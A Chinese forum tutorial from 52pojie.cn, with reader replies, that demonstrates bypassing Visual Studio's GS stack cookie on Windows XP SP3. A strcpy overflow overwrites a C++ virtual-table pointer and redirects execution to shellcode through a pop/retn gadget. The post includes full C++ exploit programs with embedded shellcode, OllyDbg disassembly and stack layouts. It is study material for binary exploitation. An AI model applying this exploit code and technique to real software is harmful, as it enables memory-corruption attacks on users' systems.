吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 17946|回复: 28
收起左侧

[调试逆向] 对抗GS之覆盖虚函数突破GS

[复制链接]
wnagzihxain 发表于 2016-4-21 00:54
本帖最后由 wnagzihxain 于 2016-5-3 00:11 编辑

环境:xp sp3
工具:OD,VS2015
写在最前面:这是微软一项用来防止栈溢出的保护机制,也就是在编译的时候在ss:[ebp-4]的位置根据两个参数异或生成Security Cookie然后函数返回的时候会还原出参数跟.data段的种子对比,相同则没有溢出,反之溢出
具体细节看这里:GS安全编译选项的保护原理

这篇会写的很详细,因为我觉得调试这节有一种最开始学习二进制的感觉,刺激!!!!!!
《0day2》提供的代码是这样的

1.png

我们观察一下,然后给下个断点

[C++] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// over_virtual.cpp : 定义控制台应用程序的入口点。
//
 
#include "stdafx.h"
#include "string.h"
 
class GSVirtual {
        public:
                void gsv(char * src)
                {
                        char buf[200];
                        strcpy(buf, src);
                        bar(); // virtual function call
                }
                virtual void  bar()
                {}
};
 
int main()
{
 
        GSVirtual test;
        __asm int 3
        test.gsv(
                "\x04\x2b\x99\x7C"
                "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
                "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
                "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
                "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
                "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
                "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
                "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
                "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
                "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
                "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
                "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90"
        );
        return 0;
}
VS的配置:禁用优化,开启GS,然后生成后咱们在虚拟机里面运行,断下附加OD

2.png

可以看到,push操作是把字符串的指针压栈,在数据区跟随一下可以看出来,我们单步走,遇到下面那个call跟进去

3.png

我们跟进来后可以看到生成Security Cookie的代码段,然后往下找可以看到校验Security Cookie的代码段

4.png

好了看完了Security Cookie部分,咱们来看看执行虚函数的部分,我们从代码可以看出来,执行了strcpy之后,就是执行虚函数,所以我们来看看执行虚函数的代码段

5.png

看完后我们先把这个放下,来看一个简单攻击虚函数的代码(为了更好理解虚函数整个调用过程),用VC编译就行了,同样在调用前下断点,然后附加上OD,注意观察寄存器的值

具体的调试过程在这:攻击C++虚函数

[C++] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include "windows.h"
#include "iostream.h"
#include "cstdio"
 
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\xAC\xBA\x40\x00";//set fake virtual function pointer
 
class Failwest
{
public:
        char buf[200];
        virtual void test(void)
        {
                cout<<"Class Vtable::test()"<<endl;
        }
};
 
Failwest overflow, *p;
 
int main(void)
{
        char * p_vtable;
        p_vtable=overflow.buf-4;//point to virtual table
        printf("%p %p\n",overflow.buf,overflow.buf-4);
        //__asm int 3
        p_vtable[0]=0x5C;
        p_vtable[1]=0xBB;
        p_vtable[2]=0x40;
        p_vtable[3]=0x00;
        strcpy(overflow.buf,shellcode);//set fake virtual function pointer
__asm int 3
        p=&overflow;
        p->test();
        return 0;
}


6.png

F8走

7.png

是不是没有看懂?

不急我们重新梳理一遍,来看一下代码,我们先不调试溢出什么的,我们就看虚函数是如何调用的?以及虚表指针到底放在哪里?

下面是我们要用到的代码,可以看到我把修改虚表指针的代码注释掉了,因为我们要是修改了虚表指针那么在调试的时候就会跳到shellcode

这里补充一下:


8.png

OD附加上,来到虚函数指针的地址指向的地方,可以看到0x004080C8是虚表指针

9.png

然后我们跟着走

10.png

先把虚表指针的地址赋值给ECX,在数据区标注的地方就是虚表指针的地址

接着单步走

11.png

把虚表指针传给EAX,此时EAX存的是虚表指针0x004080C8,也就是说,0x004080C8这个地址开始存的是虚函数的指针,继续单步走

12.png

根据EAX处的值取出虚函数的地址0x00401020进行调用,这里是直接调用函数指针

13.png

大概是明白了吧?

我再来总结一下:先是获取虚表指针的地址,然后根据虚表指针的地址获取虚表指针,获取到虚表指针后再获取虚函数指针,最后调用虚函数指针就行了

画个示意图

14.png

继续解释:我们先获取某地址,这个地址存的是虚表指针的地址,我们可以看到这次虚表指针的地址是0x0040BAA8

然后我们根据虚表指针的地址去获取虚表指针,可以看到虚表指针是0x004080C8,然后根据虚表指针来找虚函数指针

虚函数指针是0x00401020

然后我们来看看最开始被我们丢在一边的程序

我们重新载入给个特写

15.png

按照我们刚才的分析,把代码段复制下来解释一下

[Asm] 纯文本查看 复制代码
1
2
3
4
5
004012DD    8B85 24FFFFFF   mov     eax, dword ptr [ebp-DC];获取虚表指针的地址
004012E3    8B10            mov     edx, dword ptr [eax];获取虚表指针
004012E5    8B8D 24FFFFFF   mov     ecx, dword ptr [ebp-DC]
004012EB    8B02            mov     eax, dword ptr [edx];获取虚函数指针
004012ED    FFD0            call    eax;调用虚函数
突然发现最近阅读汇编能力蹭蹭蹭见长啊!!!!!!

那我们就走下来看看虚表指针在哪里

哎呀!!!!!!忘了这是溢出的代码了,不过没关系,不影响前面的分析,我们来修改一下代码先不要溢出,随意减小长度就行了

重新运行到这,可以看到此时的虚表指针是0x00411A4C

16.png

继续跟着走,找到虚函数指针,看寄存器EAX的值

17.png

虚函数指针是0x00401300,我们跳过去看看,这就是虚函数代码段

18.png

现在是完全的分析了一遍如何找到虚表指针的过程,以及各种细节,如果你还不是很懂,在纸上画一画就好了

我们来额外补充一点东西,我们写两个虚函数

19.png

可以在OD里面看到,这里是两处的虚函数调用

20.png

具体分析一下

[Asm] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
004012DD    8B85 28FFFFFF   mov     eax, dword ptr [ebp-D8];获取虚表指针的地址
004012E3    8B10            mov     edx, dword ptr [eax];获取虚表指针
004012E5    8B8D 28FFFFFF   mov     ecx, dword ptr [ebp-D8]
004012EB    8B02            mov     eax, dword ptr [edx];获取虚函数的地址
004012ED    FFD0            call    eax;调用第一个虚函数
004012EF    8B8D 28FFFFFF   mov     ecx, dword ptr [ebp-D8]; 获取虚表指针的地址
004012F5    8B11            mov     edx, dword ptr [ecx]; 获取虚表指针
004012F7    8B8D 28FFFFFF   mov     ecx, dword ptr [ebp-D8];
004012FD    8B42 04         mov     eax, dword ptr [edx+4];获取虚函数的地址
00401300    FFD0            call    eax调用第二个虚函数
好了补充完了,现在开始分析如何通过覆盖虚函数的方法来突破GS

标注的地方你应该很熟悉了

21.png

走完这一段,我们来观察一下栈的布局

[Asm] 纯文本查看 复制代码
1
2
3
4
5
6
7
0012FF5C   C09D019E  ?澙
0012FF60  /0012FF74  t?.
0012FF64  |00401356  V@.  返回到 over_vir.00401356 来自 over_vir.00401260
0012FF68  |00411A38  8A.  ASCII "Hello World!"
0012FF6C  |00411A4C  LA.  over_vir.00411A4C
0012FF70  |C09D018A  ?澙
0012FF74  ]0012FFC0  ?
看的出来Security Cookie吧?

然后,看到了虚表指针了吗?0x0012FF6C是虚表指针的地址

那么我们攻击的思路就是,先覆盖虚表指针,因为我们是在函数里面调用虚函数,所以并不会因为retn而进行Cookie校验

那我们就开始来定位缓冲区的起始位置,直接走完strcpy的代码段,这里我没有进行优化所以有点太直观啦ヾ(≧O≦)〃嗷~

22.png

算出中间的间隔大小后,我们来填充看看

23.png

精准覆盖!!!!!!

好了现在把栈的布局搞清楚了,我们重新修改一下代码,将我们加上的一个虚函数去掉

顺便带上《0day2》里的shellcode,注意这里我们还没有确定各种地址,先来看看具体的情况,然后再根据系统来修改

24.png

这时候我们会遇到一个问题,我们执行虚函数会call eax,执行了之后我们是回不到shellcode的,怎么办?

那我们就来梳理一下我们利用的思路:首先我们溢出,覆盖掉虚表指针,然后执行虚函数,这时候先取出虚表指针

到虚表指针指向的地方取出虚函数指针,也就是说,我们直接覆盖的虚表指针那个位置存的是shellcode起始地址,这里要理解!!!!!!

《0day2》里面说实话我是没有看懂,自己捣鼓了很久,好了假设你已经看懂了上面的,放心吧后面还会详细解释的ヾ(^▽^*)))

25.png

看,标注出来的是虚表指针0x00411A38,当然这是我已经找好的,在你的电脑上还需要手动确定一下

然后我们call的时候会执行0x7C992B11,这个是怎么确定的呢?

这就需要来观察一下栈了

26.png

这是现在的栈顶,可以看到栈顶刚好是我们shellcode的起始地址,然后我们执行call的时候,会压入一个返回地址

也就是说,我们只要执行一个pop和retn,就可以跳到shellcode

我们F7单步走一下看看,这里我已经找好pop和retn了,所以直接能演示

27.png

看,我们在进入这个call的时候,堆栈压入了一个返回地址,按照上面的代码,一个pop把返回地址弹掉,然后retn到0x0012FE94

这个位置刚好是shellcode的起始位置,也就是说我们成功跳到了shellcode的空间了

来看看具体代码

28.png

《0day2》里面是通过结束符来修改最后两位,但是我这里的情况修改最后两位是不能实现的,所以具体情况还是要根据你的电脑进行修改

最后的效果

29.png

欢迎交流╭( &#65381;&#12610;&#65381;)&#1608; &#785;&#785;
主要记录二进制攻防的学习笔记和二进制漏洞的分析,各位多指教


最後的最後:您有不懂的地方請提出來,”牛逼啊“,”看看“之類的純屬回復攢積分的請不要回復,謝謝


免费评分

参与人数 3威望 +2 热心值 +3 收起 理由
Hmily + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
菜鸟也想飞 + 1 谢谢@Thanks!
LOVE_TT + 1 好牛逼的样子 看在你写了这么多给你1分

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

xiziyunqi 发表于 2017-7-30 08:38
xiziyunqi 发表于 2017-7-29 22:53
"因为我们是在函数里面调用虚函数,所以并不会因为retn而进行Cookie校验" 这句话能解释一下吗?谢谢

明白了,不会校验函数,我本来理解成不会校验虚函数的GS了,而虚函数的GS不需要校验
xiziyunqi 发表于 2017-7-30 10:46
你好,"这是现在的栈顶,可以看到栈顶刚好是我们shellcode的起始地址,然后我们执行call的时候,会压入一个返回地址",为什么栈顶刚好是我们shellcode的起始地址l ??有压栈操作吗??
Wa6600 发表于 2016-4-21 07:07
sinceret 发表于 2016-4-21 07:21
不明觉厉..................
wangqiustc 发表于 2016-4-21 09:50
来学习学习
天地无空 发表于 2016-4-21 12:50
感谢楼主分享
 楼主| wnagzihxain 发表于 2016-4-21 13:27
Wa6600 发表于 2016-4-21 07:07
不明觉厉..................

跟着试试,二进制的水平一定能提高很快
 楼主| wnagzihxain 发表于 2016-4-21 13:28
sinceret 发表于 2016-4-21 07:21
不明觉厉..................

跟着别人的调试贴自己试试,二进制攻防的水平能提高的很快
 楼主| wnagzihxain 发表于 2016-4-21 13:29

一起学习
 楼主| wnagzihxain 发表于 2016-4-21 13:29

一起交流二进制攻防
dahaodie 发表于 2016-4-21 13:39
遇事不懂,水一逼
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-12 10:24

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表